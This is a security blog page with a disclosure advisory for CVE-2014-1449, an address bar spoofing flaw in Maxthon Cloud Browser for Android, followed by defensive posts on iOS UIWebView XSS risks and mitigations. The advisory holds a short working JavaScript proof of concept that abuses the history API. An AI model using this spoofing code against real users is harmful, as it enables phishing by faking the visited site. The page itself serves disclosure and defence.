Browser Shredders: mobile

Showing posts with label mobile. Show all posts

Monday, March 10, 2014

[CVE-2014-1449] Maxthon Cloud Browser for Android 4.1.4.2000 Address Bar Spoofing

# Vulnerability: Maxthon Cloud Browser for Android Address Bar Spoofing
# Date: 10.01.2014
# Software Link: https://play.google.com/store/apps/details?id=com.mx.browser
# Vulnerable version: 4.1.4.2000
# Tested on: Android 4.4
# CVE: CVE-2014-1449
# Author: Pawel Wylecial
# http://h0wl.pl
1. Background

Description from the vendor website: "Maxthon Cloud Browser for Android is the first multi-tab browser with Maxthon’s innovative Cloud Services, including: Cloud Tabs, Cloud Push, Cloud Download and bookmarks/favorites syncing. With its cool design and out of the box features like Super Gestures, Reader Mode, App Center and more, this browser delivers a fresh and original browsing experience."

2. Vulnerability

Maxthon for Android is vulnerable to Address Bar Spoofing. Using the history API it was possible to spoof the URL in the address bar which could trick the user that he is visiting a different site than he thinks.

3. Proof of Concept

<html>
<script>
function trigger() {
        w = window.open("http://howl.overflow.pl");
        w.location = "http://h0wl.pl";
        setTimeout('w.location = "a.html"', 1000);
        setTimeout('w.history.back();', 2000);
        setTimeout('w.history.forward();', 2100);
}
</script>
<a href="javascript:trigger();">click</a>
</html>

PoC in action: http://howl.overflow.pl/maxthon1.mp4

4. Fix

No response from the vendor, silent fix applied in 4.1.5.2000 (can't confirm here, updated straight to 4.1.6.2000) or 4.1.6.2000

5. Timeline

10.01.2014 - vulnerability reported
15.01.2014 - second e-mail
21.01.2014 - third
22.01.2014 - *silent fix applied (?), http://www.maxthon.com/android/changelog/
29.01.2014 - last try
10.03.2014 - advisory published

Sunday, February 09, 2014

JavaScript Off for iOS

While testing UIWebView on iOS I found out there is no option to turn off JavaScript for web content. Initially I tried to use HTML5 "sandbox" attribute do achieve this, but in practice Content Security Policy is a much more flexible solution. Injecting CSP headers into NSHTTPURLResponse seems to work even for file: and data: URL schemes.

A sample application testing above solution is available on GitHub, and a similar solution has recently made its way into Onion Browser as an experimental feature. I am looking forward to see how it's going to work in practice.

On a side note, Quick Look is another solution if you need to load a single HTML document with JavaScript turned off.

iOS UIWebView baseURL

UIWebView is one of the most popular components in Cocoa Touch library. It can be used to easily embed web content into iOS applications and - of course - to equally easily introduce Cross-Site Scripting vulnerabilities.

When loading content into webView on iOS, a programmer can choose one of three methods:

– loadData:MIMEType:textEncodingName:baseURL:
– loadHTMLString:baseURL:
– loadRequest:

Did you notice baseURL in the first two? This inconspicuous parameter is quite important when dealing with XSS.

Same Origin Policy works a bit different in iOS than we're used to in desktop browsers, namely file: and applewebdata: URLs have complete cross-origin access to any web resources, in addition to local file access. This means if you save untrusted HTML document locally and then call loadRequest method to load it from its file:/// path into UIWebView, you're simply creating a universal Cross-Site Scripting vulnerability. This document can now read all cookies stored by the application, call JavaScript across domains (including your corporate intranet), and do all that stuff Same Origin Policy usually prevents.

Alternatively to loading untrusted local file with loadRequest, you may first read its content and then use one of the two remaining methods: loadData or loadHTMLString. Unfortunately, by default UIWebView content is loaded with file/applewebdata privileges. This is where the baseURL comes in handy. Simply set the baseURL to "about:blank" URL and Same Origin Policy will prevent cross-origin access (as it probably should do by default, Apple?).

Of course this won't be enough if a webView contains sensitive data and untrusted content at the same time, or if you bridge JavaScript with Objective-C through special URLs catched in webView:shouldStartLoadWithRequest:request. In such cases you should remove all XSS vulnerabilities from your application, one by one.

Sunday, February 02, 2014

WebView security in iOS - presentation from OWASP Poland meeting

English translation: http://www.slideshare.net/lpilorz/webview-security-on-ios-en
Original (Polish) version: http://www.slideshare.net/lpilorz/webview-security-on-ios-pl